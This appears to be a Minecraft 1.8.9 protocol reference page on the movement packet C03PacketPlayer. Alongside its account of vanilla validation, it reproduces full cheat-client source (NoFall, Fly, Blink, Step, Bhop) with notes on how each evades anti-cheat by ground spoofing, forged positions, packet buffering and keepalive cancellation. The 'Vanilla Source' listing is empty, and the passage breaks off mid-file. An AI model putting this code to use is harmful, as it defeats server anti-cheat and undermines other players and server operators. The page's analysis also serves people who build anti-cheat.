0x03 C03PacketPlayer
Updates the player's position on the server. Has subclasses for different update types.
Published 2026-06-18 · Updated 2026-10-14
Fields
| Field | Type | Description |
|---|---|---|
| x | double | Player X coordinate (absolute) |
| y | double | Feet Y coordinate |
| z | double | Player Z coordinate |
| yaw | float | Horizontal rotation in degrees |
| pitch | float | Vertical rotation in degrees |
| onGround | boolean | True if the player is on the ground |
Subclasses
Wire Encoding
| Field | Type | Notes |
|---|---|---|
| X | double | Absolute position |
| Feet Y | double | Feet Y coordinate |
| Z | double | Absolute position |
| Yaw | float | |
| Pitch | float | |
| On Ground | bool |
MCP References
NetHandlerPlayServer.processPlayer()Handler Interface
INetHandlerPlayServerNotes
Vanilla Source
| 1 | |
| 2 | |
| 3 | |
| 4 | |
| 5 | |
| 6 | |
| 7 | |
| 8 | |
| 9 | |
| 10 | |
| 11 | |
| 12 | |
| 13 | |
| 14 | |
| 15 | |
| 16 | |
| 17 | |
| 18 | |
| 19 | |
| 20 | |
| 21 | |
| 22 | |
| 23 | |
| 24 | |
| 25 | |
| 26 | |
| 27 | |
| 28 | |
| 29 | |
| 30 | |
| 31 | |
| 32 | |
| 33 | |
| 34 | |
| 35 | |
| 36 | |
| 37 | |
| 38 | |
| 39 | |
| 40 | |
| 41 | |
| 42 | |
| 43 | |
| 44 | |
| 45 | |
| 46 | |
| 47 | |
| 48 | |
| 49 | |
| 50 | |
| 51 | |
| 52 | |
| 53 | |
| 54 | |
| 55 | |
| 56 | |
| 57 | |
| 58 | |
| 59 | |
| 60 | |
| 61 | |
| 62 | |
| 63 | |
| 64 | |
| 65 | |
| 66 | |
| 67 | |
| 68 | |
| 69 | |
| 70 | |
| 71 | |
| 72 | |
| 73 | |
| 74 | |
| 75 | |
| 76 | |
| 77 | |
| 78 | |
| 79 | |
| 80 | |
| 81 | |
| 82 | |
| 83 | |
| 84 | |
| 85 | |
| 86 | |
| 87 | |
| 88 | |
| 89 | |
| 90 | |
| 91 | |
| 92 | |
| 93 | |
| 94 | |
| 95 | |
| 96 | |
| 97 | |
| 98 | |
| 99 | |
| 100 | |
| 101 | |
| 102 | |
| 103 | |
| 104 | |
| 105 | |
| 106 | |
| 107 | |
| 108 | |
| 109 | |
| 110 | |
| 111 | |
| 112 | |
| 113 | |
| 114 | |
| 115 | |
| 116 | |
| 117 | |
| 118 | |
| 119 | |
| 120 | |
| 121 | |
| 122 | |
| 123 | |
| 124 | |
| 125 | |
| 126 | |
| 127 | |
| 128 | |
| 129 | |
| 130 | |
| 131 | |
| 132 | |
| 133 | |
| 134 | |
| 135 | |
| 136 | |
| 137 | |
| 138 | |
| 139 | |
| 140 | |
| 141 | |
| 142 | |
| 143 | |
| 144 | |
| 145 | |
| 146 | |
| 147 | |
| 148 | |
| 149 | |
| 150 | |
| 151 | |
| 152 | |
| 153 | |
| 154 | |
| 155 | |
| 156 | |
| 157 | |
| 158 | |
| 159 | |
| 160 | |
| 161 | |
| 162 | |
| 163 | |
| 164 | |
| 165 | |
| 166 | |
| 167 | |
| 168 | |
| 169 | |
| 170 | |
| 171 | |
| 172 | |
| 173 | |
| 174 | |
| 175 | |
| 176 | |
| 177 | |
| 178 | |
| 179 | |
| 180 | |
| 181 | |
| 182 | |
| 183 | |
| 184 | |
| 185 | |
| 186 | |
| 187 | |
| 188 | |
| 189 | |
| 190 | |
| 191 | |
| 192 | |
| 193 | |
| 194 | |
| 195 | |
| 196 | |
| 197 | |
| 198 | |
| 199 | |
| 200 | |
Deobfuscated MCP 1.8.9 source of C03PacketPlayer, fetched directly from Marcelektro/MavenMCP-1.8.9 (net/minecraft/network/play/client/C03PacketPlayer.java) at build time and verified present.
Deep Dive
Role in the protocol
C03PacketPlayer is the abstract base of the serverbound movement family: four registered packet ids (0x03 bare, 0x04 position, 0x05 look, 0x06 pos+look) share one class with subclasses, and the vanilla client emits one of them every tick from EntityPlayerSP.onUpdateWalkingPlayer. The payload is a single onGround byte plus optional x/y/z doubles and yaw/pitch floats. Every server-side movement decision derives from it: position integration, ground state, fall distance, rotation, and the server's own movement validation. It is the most-sent packet in the play state and by far the most-abused one in the ten-client corpus.
Vanilla handling
NetHandlerPlayServer.processPlayer snapshots lastPos, computes the squared delta, and arms a hasMoved flag on the first small movement. Position values beyond +-3.0E7 on X or Z kick with "Illegal position". A reported Y of -999.0 disables the movement flag entirely (the client sends it when falling out of the world). The vanilla anti-cheat is the "moved too quickly" check: the sum of min(|delta|, |motion|) squared per axis must stay under 100.0, otherwise the player is teleported back with a warning. A residual delta over 0.0625 squared after moveEntity logs "moved wrongly" and snaps the player back. If the client reports onGround=false while the server thinks the player is grounded and Y is rising, the server calls jump(). Fall damage is applied from the server's own simulated fall state, which is what ground spoofing attacks.
Why clients touch it
The corpus splits into five families. Ground-state spoofers: NoFall in all eight clients, plus FastUse and Regen that send C03(true) or bare C03() to force the server-side regen tick. Movement engines: Flight (Nekoware, Rise 5.99, the 13+ mode Rise 6.x flight suite, Sigma, Spicy, Tenacity), Speed and Bhop (Rise 5.99, Rise 6.x, Sigma, Spicy), Step (Memeware, Nekoware, Rise 5.99, Rise 6.x, Sigma), Phase (Memeware, Rise 5.99, Rise 6.x NormalPhase, Sigma). Buffer and replay: Blink in Rise 5.99, Rise 6.x components, Sigma, Spicy and Tenacity. Position injection: Criticals offset ladders, TPAura and Infinite path walks, Damage utilities, AntiVoid, LongJump, and teleport modules. Disablers: Memeware, Rise 5.99, the Rise 6.x per-server suite, Sigma, Spicy and Tenacity all rewrite, cancel or re-inject C03 to break anti-cheat position timing. November Recode 2.0 contributes AntiVoid (watchdog C03 queueing), a rotation manager that rewrites the walking update, and a BlocksMC disabler; LiquidSense Dev contributes the HYT movement set, the Tp and Teleport lag-back walkers, Tower, Phase, ServerCrasher, FreeCam and LiquidWalk.
Exploit surface
onGround is a single trusted bit that drives server-side jump physics and fall-damage accumulation: NoFall reports ground every tick so the server's entity never accrues fall distance. The 100.0 and 0.0625 squared-delta gates are the real vanilla anti-cheat, so every movement module must keep reported deltas under them or accept the teleport-back. The -999.0 Y sentinel is a free pass for vertical state: modules and commands use it to reset position without moving the player. Disablers weaponize the packet stream itself: cancelling C03 while Hypixel's watchdog is armed freezes the player server-side, and rewriting C06 into C04 (or the reverse) breaks anti-cheats that count packet-type ratios. Rotation is never validated against motion in vanilla, so spinbot and rotation-spoof modules can report any yaw/pitch.
Server-Side Handling
processPlayer runs on the server thread and, for position-carrying variants, compares the packet position against the stored lastPos. The hasMoved gate requires the first reported movement to be under 0.25 squared before any validation starts. The "moved too quickly" check uses min(|delta|, |motion|) per axis, so large instantaneous deltas are masked by small motion values; the check teleports back via setPlayerLocation instead of kicking. "moved wrongly" fires when the post-integration residual exceeds 0.0625 squared and the player is not sleeping or in creative, also teleporting back. When the client reports onGround=false while the server-side player is grounded and Y is rising, the server calls jump(), which is the mechanism both criticals and the watchdog-disabler +0.16/+0.07 packet pairs exploit. The flight check runs when the player has no block collision under the bounding box and flight is disabled, kicking on sustained airborne motion.
Protocol Analysis
Four distinct ids map to one class: C03PacketPlayer (onGround only), C04PacketPlayerPosition (+x,y,z), C05PacketPlayerLook (+yaw,pitch), C06PacketPlayerPosLook (+both). The moving flag (field_149480_h) is set by the position constructors and the rotating flag by the look constructors; writePacketData emits the onGround byte first, then the doubles and floats conditionally. The -999.0 Y convention is a wire-level sentinel: the client sends C06 with y=-999 when falling out of the world, and the server clears the moving flag when it sees it. EntityPlayerSP selects the subclass by what changed this tick, and NetHandlerPlayClient answers S08 teleports with a C06 confirming the new position.
Anti-Cheat Landscape
NCP checks ground-state consistency (onGround true while falling), horizontal acceleration for speed, vertical acceleration for flight, and packet gaps for blink. Verus and AAC correlate rotation with motion, which is why Rise 6.x's PacketNoRotate rewrites C06 into C04 to strip rotations. Hypixel's watchdog is fought with the ground-truth +0.16/+0.07 jump-flag pair followed by full C03 cancellation for the watchdog window, disarmed by S08. Grim and Vulcan target packet-order and buffer abuse, countered by Rise 6.x modes like BufferAbuseFlight and the ConvertMovingPackets disabler. Timer-based flight and bhop (Spicy's 26.5 tps) flag timer checks unless the keepalive and transaction streams are delayed in lockstep, which is the disabler's second job.
implementation Implementation Cases
The movement spine of 1.8.9: one onGround byte plus optional position and rotation, emitted 20 times a second, trusted by the server for position integration, jump physics and fall damage. NoFall ground-spoofs it, Flight/Speed/Step/Phase forge its coordinates, Blink buffers it, Criticals and Damage inject offset ladders into it, and the disabler suites cancel or rewrite it to freeze the server-side player.
Eliminate fall damage by reporting onGround=true while falling, so the server-side entity never accumulates fall distance.
Memeware's Hypixel mode fires C03(true) through sendPacketSilent (bus-bypassing) the moment fallDistance reaches 2 with ground below, then resets the local fallDistance; the Ground Spoof mode mutates the UpdateEvent ground flag so the vanilla emitter sends onGround=true in every packet while falling past 2.5 blocks. The two modes cover servers that do and do not validate extra packets.
// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/movement/NoFall.java =====
package me.memewaredevs.client.module.movement;
import me.hippo.api.lwjeb.annotation.Handler;
import me.memewaredevs.client.event.events.UpdateEvent;
import me.memewaredevs.client.module.Module;
import me.memewaredevs.client.util.packet.PacketUtil;
import net.minecraft.network.play.client.C03PacketPlayer;
import java.util.function.Consumer;
public class NoFall extends Module {
public NoFall() {
super("No Fall", 0, Module.Category.MISC);
this.addModes("Ground Spoof", "Hypixel");
}
@Handler
public Consumer<UpdateEvent> eventConsumer0 = (e) -> {
if (isMode("Hypixel")) {
if (mc.thePlayer.fallDistance >= 2F && AntiFall.isBlockUnder()) {
PacketUtil.sendPacketSilent(new C03PacketPlayer(true));
mc.thePlayer.fallDistance = 0;
}
}
if(isMode("Ground Spoof")) {
if (mc.thePlayer.fallDistance > 2.5F) {
e.setGround(true);
}
}
};
}
// NOTE (AI): The Hypixel mode sends C03(true) through sendPacketSilent, which bypasses the packet event bus, the moment fallDistance reaches 2 blocks while there is ground below (AntiFall.isBlockUnder). Reporting onGround=true resets the server-side entity's fallDistance accumulation, so the server never applies fall damage. Ground Spoof mode instead mutates the UpdateEvent's ground flag, which flows into the vanilla C03 emission in EntityPlayerSP.onUpdateWalkingPlayer, so the same effect is achieved without injecting an extra packet. The 2.5 fallDistance threshold keeps the spoof from running during normal jumping.
Move vertically and horizontally without the server's flight permission, by driving client physics and shaping the C03 stream the vanilla emitter sends.
Nekoware's Vanilla mode sets motionY from input and horizontal speed directly and sends nothing, using a fall/ascend C04 pair every 700ms as anti-kick. Damage mode floods C0CPacketInput plus C03(true) each pre tick and starts with the fall-damage C04 ladder (y+3.05, y, y+0.41999998688697815) to gain the damage boost that defeats NCP flight checks. Verus mode places a C08 block below and zeroes motionY. The PacketOutEvent handler cancels C0F and C00 so the position stream is not correlated against transaction timing.
// ===== FILE: Nekoware v1 private, me/nekoWare/client/module/movement/Fly.java =====
package me.nekoWare.client.module.movement;
import me.hippo.api.lwjeb.annotation.Handler;
import me.nekoWare.client.event.events.EventCollide;
import me.nekoWare.client.event.events.MovementEvent;
import me.nekoWare.client.event.events.PacketOutEvent;
import me.nekoWare.client.event.events.UpdateEvent;
import me.nekoWare.client.module.Module;
import me.nekoWare.client.util.blocks.misc.BlockUtil;
import me.nekoWare.client.util.misc.Timer;
import me.nekoWare.client.util.movement.MovementUtils;
import me.nekoWare.client.util.packet.PacketUtil;
import net.minecraft.init.Blocks;
import net.minecraft.item.ItemStack;
import net.minecraft.network.play.client.C00PacketKeepAlive;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;
import net.minecraft.network.play.client.C09PacketHeldItemChange;
import net.minecraft.network.play.client.C0CPacketInput;
import net.minecraft.network.play.client.C0FPacketConfirmTransaction;
import net.minecraft.network.play.client.C18PacketSpectate;
import net.minecraft.util.AxisAlignedBB;
import net.minecraft.util.BlockPos;
import net.minecraft.util.MovementInput;
import org.apache.commons.lang3.RandomUtils;
import java.util.function.Consumer;
public class Fly extends Module {
private Timer timer = new Timer();
private double y;
public Fly() {
super("Fly", 34, Module.Category.MOVEMENT);
this.addDouble("Speed", 2.5, 0.1, 5.0);
this.addModes("Vanilla", "Damage", "Verus");
this.addBoolean("Anti-Kick", false);
}
@Handler
public Consumer<MovementEvent> eventConsumer0 = event -> {
};
@Handler
public Consumer<UpdateEvent> eventConsumer1 = (event) -> {
if (isMode("Vanilla")) {
mc.timer.timerSpeed = 1f;
if (event.isPre()) {
float speed = getDouble("Speed").floatValue();
MovementInput movementInput = mc.thePlayer.movementInput;
mc.thePlayer.motionY = movementInput.isJumping() ? speed * 0.5F
: movementInput.isSneaking() ? -speed * 0.5F
: 0.0F;
MovementUtils.setMoveSpeed(speed);
if (getBool("Anti-Kick") && timer.delay(700.0f)) {
MovementUtils.fallPacket();
MovementUtils.ascendPacket();
timer.reset();
}
}
}
if (isMode("Damage")) {
mc.timer.timerSpeed = 1f;
if (event.isPre()) {
mc.thePlayer.sendQueue.addToSendQueue(new C0CPacketInput());
mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer(true));
mc.thePlayer.onGround = false;
float speed = getDouble("Speed").floatValue();
MovementInput movementInput = mc.thePlayer.movementInput;
mc.thePlayer.motionY = movementInput.isJumping() ? speed * 0.5F
: movementInput.isSneaking() ? -speed * 0.5F : 0.0F;
MovementUtils.setMoveSpeed(speed);
}
}
if (isMode("Verus")) {
mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1.5, mc.thePlayer.posZ), 1, new ItemStack(Blocks.stone.getItem(mc.theWorld, new BlockPos(-1, -1, -1))), 0, 0.94f, 0));
MovementUtils.setMoveSpeed(0.36);
mc.timer.timerSpeed = 1f;
if (y >= 11) {
y = 0;
}
y++;
mc.thePlayer.motionY = 0f;
}
};
@Handler
public Consumer<PacketOutEvent> eventConsumer11 = (event) -> {
if (event.getPacket() instanceof C0FPacketConfirmTransaction) {
event.cancel();
timer.reset();
}
if (event.getPacket() instanceof C00PacketKeepAlive) {
event.cancel();
timer.reset();
}
};
@Override
public void onEnable() {
if(this.isMode("Damage")) {
mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,
mc.thePlayer.posY + 3.05, mc.thePlayer.posZ, false));
mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,
mc.thePlayer.posY, mc.thePlayer.posZ, false));
mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,
mc.thePlayer.posY + 0.41999998688697815, mc.thePlayer.posZ, true));
mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.5, mc.thePlayer.posZ);
}
}
@Override
public void onDisable() {
MovementUtils.setMoveSpeed(0);
}
}
// NOTE (AI): Three flight families in one file. Vanilla mode is client-side physics only: it drives motionY and horizontal speed and sends no packets at all, with an anti-kick fall/ascend packet pair every 700ms so the server keeps receiving vertical oscillation. Damage mode floods C0CPacketInput + C03(true) every pre tick and triggers the fall-damage self-hit on enable with the canonical C04 ladder (y+3.05 false, y false, y+0.41999998688697815 true), which grants the damage boost that lets flight bypass NCP's flight checks. Verus mode uses a C08 block placement below the player plus motionY=0. The PacketOutEvent handler cancels C0FPacketConfirmTransaction and C00PacketKeepAlive entirely, which is what lets the position stream survive on servers that correlate transaction timing.
Freeze the server-side player by buffering every C03 (or every packet) and replaying the queue in order on disable, creating fake lag.
On PacketSendEvent, with All Packets on, every outgoing packet is parked in a ConcurrentLinkedQueue and cancelled; with it off only C03PacketPlayer (and its subclasses) is held. Pulse mode flushes the queue every N ticks with a 10% random skip to bound the blink windows. onDisable replays everything with sendPacketWithoutEvent in FIFO order. An optional EntityOtherPlayerMP renders the frozen position to other players.
// ===== FILE: Rise 5.99, dev/rise/module/impl/player/Blink.java =====
/*
Copyright Alan Wood 2021
None of this code to be reused without my written permission
Intellectual Rights owned by Alan Wood
*/
package dev.rise.module.impl.player;
import dev.rise.event.impl.motion.PreMotionEvent;
import dev.rise.event.impl.packet.PacketSendEvent;
import dev.rise.event.impl.render.Render3DEvent;
import dev.rise.module.Module;
import dev.rise.module.api.ModuleInfo;
import dev.rise.module.enums.Category;
import dev.rise.setting.impl.BooleanSetting;
import dev.rise.setting.impl.NumberSetting;
import dev.rise.util.player.PacketUtil;
import dev.rise.util.render.RenderUtil;
import net.minecraft.client.entity.EntityOtherPlayerMP;
import net.minecraft.network.Packet;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.util.Vec3;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ConcurrentLinkedQueue;
/**
* This module basically is fake lag, when enabled it cancels every packet and stores them on a list with an ORDER.
* When the module is disabled all the packets are quickly sent with order.
* <p>
* This module has a setting which allows it to only cancel position packets in order to blink infinitely.
* However this has a cost of being easily detectable with basic checks.
*/
@ModuleInfo(name = "Blink", description = "Lags you serverside", category = Category.PLAYER)
public final class Blink extends Module {
private final BooleanSetting allPackets = new BooleanSetting("All Packets", this, true);
private final BooleanSetting showPlayer = new BooleanSetting("Show Player", this, false);
private final ConcurrentLinkedQueue<Packet<?>> packets = new ConcurrentLinkedQueue<>();
private final BooleanSetting pulse = new BooleanSetting("Pulse", this, false);
private final NumberSetting delayPulse = new NumberSetting("Pulse Delay", this, 20, 4, 100, 0.1);
private final BooleanSetting randomisePulse = new BooleanSetting("Randomise Pulse", this, false);
private EntityOtherPlayerMP blinkEntity;
List<Vec3> path = new ArrayList<>();
@Override
public void onPacketSend(final PacketSendEvent event) {
if (mc.thePlayer == null || mc.thePlayer.isDead || mc.isSingleplayer() || mc.thePlayer.ticksExisted < 150) {
packets.clear();
return;
}
if (allPackets.isEnabled()) {
packets.add(event.getPacket());
event.setCancelled(true);
} else {
if (event.getPacket() instanceof C03PacketPlayer) {
packets.add(event.getPacket());
event.setCancelled(true);
}
}
if (pulse.isEnabled() && event.getPacket() instanceof C03PacketPlayer) {
if (!packets.isEmpty() && mc.thePlayer.ticksExisted % (int) delayPulse.getValue() == 0 && Math.random() > 0.1) {
packets.forEach(PacketUtil::sendPacketWithoutEvent);
packets.clear();
}
}
}
@Override
public void onPreMotion(final PreMotionEvent event) {
if (mc.thePlayer.ticksExisted < 150) return;
if (mc.thePlayer.lastTickPosX != mc.thePlayer.posX || mc.thePlayer.lastTickPosY != mc.thePlayer.posY || mc.thePlayer.lastTickPosZ != mc.thePlayer.posZ) {
path.add(new Vec3(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ));
}
if (pulse.isEnabled()) {
while (path.size() > (int) delayPulse.getValue()) {
path.remove(0);
}
}
if (pulse.isEnabled() && blinkEntity != null) {
mc.theWorld.removeEntityFromWorld(blinkEntity.getEntityId());
}
}
@Override
public void onRender3DEvent(final Render3DEvent event) {
RenderUtil.renderBreadCrumbs(path);
}
@Override
protected void onEnable() {
path.clear();
if (!pulse.isEnabled() && showPlayer.isEnabled()) {
blinkEntity = new EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.getGameProfile());
blinkEntity.setPositionAndRotation(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch);
blinkEntity.rotationYawHead = mc.thePlayer.rotationYawHead;
blinkEntity.setSprinting(mc.thePlayer.isSprinting());
blinkEntity.setInvisible(mc.thePlayer.isInvisible());
blinkEntity.setSneaking(mc.thePlayer.isSneaking());
mc.theWorld.addEntityToWorld(blinkEntity.getEntityId(), blinkEntity);
}
}
@Override
protected void onDisable() {
packets.forEach(PacketUtil::sendPacketWithoutEvent);
packets.clear();
if (showPlayer.isEnabled()) {
if (blinkEntity != null) {
mc.theWorld.removeEntityFromWorld(blinkEntity.getEntityId());
}
}
}
@Override
public void onUpdateAlwaysInGui() {
delayPulse.hidden = !pulse.enabled;
showPlayer.hidden = pulse.enabled;
}
}
// NOTE (AI): The canonical buffer-and-release implementation. With All Packets on, every serverbound packet is parked in a ConcurrentLinkedQueue and cancelled; with it off, only C03PacketPlayer (including C04/C05/C06 subclasses, since they extend it) is held, letting clicks and inventory actions through. Pulse mode flushes the whole queue every N ticks with a 10% random skip so the blink windows are bounded and irregular. On disable, packets.forEach(PacketUtil::sendPacketWithoutEvent) replays everything in FIFO order, and the optional EntityOtherPlayerMP renders where the player 'was' for observers. The 150-tick guard clears the queue on world join, and singleplayer is excluded outright.
Climb blocks higher than the vanilla 0.6 limit by reporting intermediate C04 positions that hide the vertical delta.
Nekoware's NCP mode watches the ClimbSlabEvent; when the bounding box has risen past 0.6, it sends C04 at y+0.42 and y+0.75 with onGround false, then drops timerSpeed to 0.4 for two ticks so the faster climb does not trip horizontal speed checks. Vanilla mode just sets stepHeight locally. The 0.42/0.75 pair mirrors the NCP speed/bhop arc, which is why the module refuses to run while the client's Speed module is on.
// ===== FILE: Nekoware v1 private, me/nekoWare/client/module/movement/Step.java =====
package me.nekoWare.client.module.movement;
import me.hippo.api.lwjeb.annotation.Handler;
import me.nekoWare.client.Nekoware;
import me.nekoWare.client.event.events.ClimbSlabEvent;
import me.nekoWare.client.event.events.UpdateEvent;
import me.nekoWare.client.module.Module;
import net.minecraft.network.play.client.C03PacketPlayer;
import java.util.function.Consumer;
public class Step extends Module {
private int timerSlow;
private float height;
public Step() {
super("Step", 0, Module.Category.MOVEMENT);
this.addModes("Vanilla", "NCP");
this.addDouble("Height", 1, 1, 10);
}
@Override
public void onDisable() {
mc.thePlayer.stepHeight = 0.6F;
}
@Handler
public Consumer<UpdateEvent> eventConsumer = (event) -> {
height = this.getDouble("Height").floatValue();
if (isMode("Vanilla")) {
mc.thePlayer.stepHeight = height;
} else {
mc.thePlayer.stepHeight = 0.6F;
}
};
@Handler
public Consumer<ClimbSlabEvent> eventConsumer0 = (event) -> {
if (isMode("NCP")) {
double posX = mc.thePlayer.posX;
double posY = mc.thePlayer.posY;
double posZ = mc.thePlayer.posZ;
if (event.isPre() && !Nekoware.INSTANCE.getModuleManager().getModule("Speed").isToggled()) {
event.setStepHeight(1.0F);
} else {
double height = mc.thePlayer.getEntityBoundingBox().minY - mc.thePlayer.posY;
if (height > 0.6F && height <= 1.0F) {
float[] values = { 0.42F, 0.75F };
for (float value : values)
mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(posX, posY + value, posZ, false));
mc.timer.timerSpeed = 0.4F;
}
timerSlow = 2;
}
}
};
@Handler
public Consumer<UpdateEvent> eventConsumer1 = (event) -> {
if (isMode("NCP")) {
if (timerSlow <= 0 && timerSlow >= -2) {
mc.timer.timerSpeed = 1.0F;
}
timerSlow--;
}
};
}
// NOTE (AI): The NCP mode is a pure C04 ladder: when the client-side bounding box rose more than 0.6 blocks (the vanilla step limit), it sends C04 y+0.42 false then y+0.75 false, and drops timerSpeed to 0.4 for two ticks. The server accepts the 1.0-block step because the client reports the intermediate positions, and the timer slowdown hides the resulting speed spike from horizontal checks. Vanilla mode just raises the local stepHeight, which works on servers that do not simulate stepping server-side. This is the same offset pair (0.42/0.75) used by NCP-speed and bhop modules, which is why the module disables itself while the client's Speed module is toggled.
Move faster than vanilla sprint by manipulating jump arcs, timer speed and the movement packets the client emits.
Spicy's Bhop Hypixel mode sets noClip, jumps on a 0.00004 ground check, and runs 26.5 tps plus random jitter in air so the vanilla C03 emission carries an accelerated trajectory. Test 3 mode drives EventMove directly: motionY 0.41999998688697815 on ground, speed seeded at forward*2.1500000953674316 and decayed by speed/165 per air tick, plus a random 1.0E-5..9.9E-4 Y jitter on ground packets. An S08 setback counter auto-disables after 3 lagbacks in 5 seconds.
// ===== FILE: Spicy, info/spicyclient/modules/movement/Bhop.java =====
package info.spicyclient.modules.movement;
import java.io.IOException;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.Comparator;
import java.util.List;
import java.util.Random;
import org.apache.commons.lang3.RandomUtils;
import org.lwjgl.input.Keyboard;
import info.spicyclient.SpicyClient;
import info.spicyclient.chatCommands.Command;
import info.spicyclient.events.Event;
import info.spicyclient.events.listeners.EventMotion;
import info.spicyclient.events.listeners.EventMove;
import info.spicyclient.events.listeners.EventOnLadder;
import info.spicyclient.events.listeners.EventPacket;
import info.spicyclient.events.listeners.EventSendPacket;
import info.spicyclient.events.listeners.EventUpdate;
import info.spicyclient.modules.Module;
import info.spicyclient.notifications.Color;
import info.spicyclient.notifications.NotificationManager;
import info.spicyclient.notifications.Type;
import info.spicyclient.settings.BooleanSetting;
import info.spicyclient.settings.ModeSetting;
import info.spicyclient.settings.NumberSetting;
import info.spicyclient.settings.SettingChangeEvent;
import info.spicyclient.util.MovementUtils;
import info.spicyclient.util.Timer;
import net.minecraft.client.Minecraft;
import net.minecraft.entity.player.PlayerCapabilities;
import net.minecraft.network.EnumPacketDirection;
import net.minecraft.network.Packet;
import net.minecraft.network.play.client.C00PacketKeepAlive;
import net.minecraft.network.play.client.C02PacketUseEntity;
import net.minecraft.network.play.client.C02PacketUseEntity.Action;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook;
import net.minecraft.network.play.client.C13PacketPlayerAbilities;
import net.minecraft.network.play.client.C14PacketTabComplete;
import net.minecraft.network.play.client.C15PacketClientSettings;
import net.minecraft.network.play.client.C16PacketClientStatus;
import net.minecraft.network.play.client.C16PacketClientStatus.EnumState;
import net.minecraft.network.play.client.C17PacketCustomPayload;
import net.minecraft.network.play.client.C18PacketSpectate;
import net.minecraft.network.play.client.C19PacketResourcePackStatus;
import net.minecraft.network.play.server.S08PacketPlayerPosLook;
import net.minecraft.network.status.client.C00PacketServerQuery;
import net.minecraft.potion.Potion;
import net.minecraft.util.EnumFacing;
import net.minecraft.util.MathHelper;
import optifine.MathUtils;
public class Bhop extends Module {
public ModeSetting mode = new ModeSetting("Mode", "Vanilla", "Vanilla", "PvpLands", "Hypixel", "Test", "Test 2", "Test 3");
public NumberSetting hypixelSpeed = new NumberSetting("Speed", 0.01, 0.0001, 0.03, 0.0001);
private static double lastY;
private static float rotate = 180;
private static int lagbackCheck = 0;
private static long lastLagback = System.currentTimeMillis();
private transient boolean toggle = true;
public Bhop() {
super("Bhop", Keyboard.KEY_NONE, Category.MOVEMENT);
resetSettings();
}
@Override
public void resetSettings() {
this.settings.clear();
this.addSettings(mode, hypixelSpeed);
}
@Override
public void onSettingChange(SettingChangeEvent e) {
if (e.setting.getSetting() == mode) {
if (mode.is("Hypixel") || mode.getMode() == "Hypixel") {
if (!this.settings.contains(hypixelSpeed)) {
this.settings.add(hypixelSpeed);
}
reorderSettings();
}else {
if (this.settings.contains(hypixelSpeed)) {
this.settings.remove(hypixelSpeed);
}
reorderSettings();
}
}
}
public void onEnable() {
this.speed = 0.0D;
if (SpicyClient.config.fly.isEnabled()) {
toggle();
NotificationManager.getNotificationManager().createNotification("Don't use bhop while fly is enabled!", "", true, 5000, Type.WARNING, Color.RED);
}
lastY = mc.thePlayer.posY;
}
public void onDisable() {
mc.timer.ticksPerSecond = 20f;
this.mc.timer.timerSpeed = 1.00f;
status = 0;
}
private int status = 0;
private boolean boosted = false;
private double speed;
private double lastDist;
public static int stage;
private transient Timer timer = new Timer();
public void onEvent(Event e) {
if (e instanceof EventPacket) {
if (e.isPre()) {
EventPacket packetEvent = (EventPacket) e;
if (packetEvent.packet instanceof S08PacketPlayerPosLook) {
if (lagbackCheck >= 3) {
lagbackCheck = 0;
lastLagback = System.currentTimeMillis() - (5*1000);
this.toggle();
NotificationManager.getNotificationManager().createNotification(this.name + " has been disabled to prevent flags", "", true, 1000, Type.WARNING, Color.RED);
}else {
lastLagback = System.currentTimeMillis();
lagbackCheck++;
}
}
}
}
if (e instanceof EventUpdate) {
if (e.isPre()) {
if (lastLagback + (5*1000) < System.currentTimeMillis()) {
lagbackCheck = 0;
lastLagback = System.currentTimeMillis() + (10*1000);
}
}
}
if (e instanceof EventUpdate) {
if (e.isPre()) {
this.additionalInformation = mode.getMode();
if (mode.getMode().equalsIgnoreCase("Vanilla") && mc.gameSettings.keyBindForward.pressed) {
if (mc.thePlayer.onGround) {
mc.gameSettings.keyBindJump.pressed = false;
mc.thePlayer.jump();
mc.thePlayer.setSprinting(true);
}
}
}
}
if (e instanceof EventMotion) {
if (e.isBeforePost()) {
EventMotion event = (EventMotion) e;
if (mode.getMode().equalsIgnoreCase("Pvplands") && !mc.thePlayer.isInWater()) {
if (mc.thePlayer.onGround && mc.gameSettings.keyBindForward.pressed) {
mc.thePlayer.setSprinting(true);
mc.gameSettings.keyBindJump.pressed = false;
mc.thePlayer.jump();
mc.thePlayer.jump();
mc.thePlayer.setSprinting(true);
//mc.thePlayer.motionY = 0.1f;
}
else if (mc.gameSettings.keyBindForward.pressed) {
float f = mc.thePlayer.rotationYaw * 0.017453292F;
mc.thePlayer.motionX -= (double)(MathHelper.sin(f) * 0.035F);
mc.thePlayer.motionZ += (double)(MathHelper.cos(f) * 0.035F);
}
}
else if (mode.getMode().equalsIgnoreCase("Pvplands") && mc.thePlayer.isInWater()) {
if (mc.thePlayer.onGround) {
mc.gameSettings.keyBindJump.pressed = false;
mc.thePlayer.jump();
mc.thePlayer.setSprinting(true);
}
}
else if (mode.is("Hypixel") && (mc.gameSettings.keyBindForward.pressed || mc.gameSettings.keyBindBack.pressed || mc.gameSettings.keyBindLeft.pressed || mc.gameSettings.keyBindRight.pressed) && (!SpicyClient.config.blockFly.isEnabled() || (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null) || true)) {
